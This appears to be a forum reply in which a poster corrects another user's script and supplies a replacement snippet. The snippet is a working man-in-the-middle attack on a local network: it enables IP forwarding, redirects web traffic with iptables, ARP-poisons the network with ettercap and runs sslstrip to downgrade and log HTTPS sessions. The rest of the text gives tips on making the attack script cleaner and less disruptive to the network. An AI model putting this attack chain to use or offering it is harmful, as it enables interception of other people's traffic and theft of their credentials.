it’s one of my most technical scripts I’ve written
hmm a comedian ehh ..... leave the joke's to me

Ill do the funny stuff around here
please fix your script with the below snippet
mkdir $HOME/Desktop/images
echo "1" | sudo tee /proc/sys/net/ipv4/ip_forward
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo xterm -e ettercap -TqM arp:oneway,remote // // -i $IFACE
sudo xterm -e sslstrip -k -f -l 10000 2> /dev/null
while this is really basic and not doing much I wont knock you for trying
BUT when your writing script,coding or writing a program .. you MUST treat the end user as if there
completely thick and they have not got a clue , that way you will always make the syntax user friendly
example you have set IP forwarding in your script you haven't set a trap or even told the user that
they must disable forwarding when there finished or added an automatic disable feature to it
EXAMPLE
trap "echo 0 | sudo tee /proc/sys/net/ipv4/ip_forward ;sudo pkill sslstrip " EXIT
also you should add a table flush rule to that as well
As I said you are trying but you can cause the user more problems if you don't write the script properly
EXAMPLE : you have not added a key press to force the user to quit ettercap so the network is not doS'ed and cause disruption on the network THAT IN itself is a major F**k-up
if you are thinking to your self but hey were hackers, if you don't know what the script does or what to do you shouldn't be using it
WELL YOUR WRONG !!!!!!
like any OS, or tool it must be user friendly and the arguments MUST be completed within the script,code or program
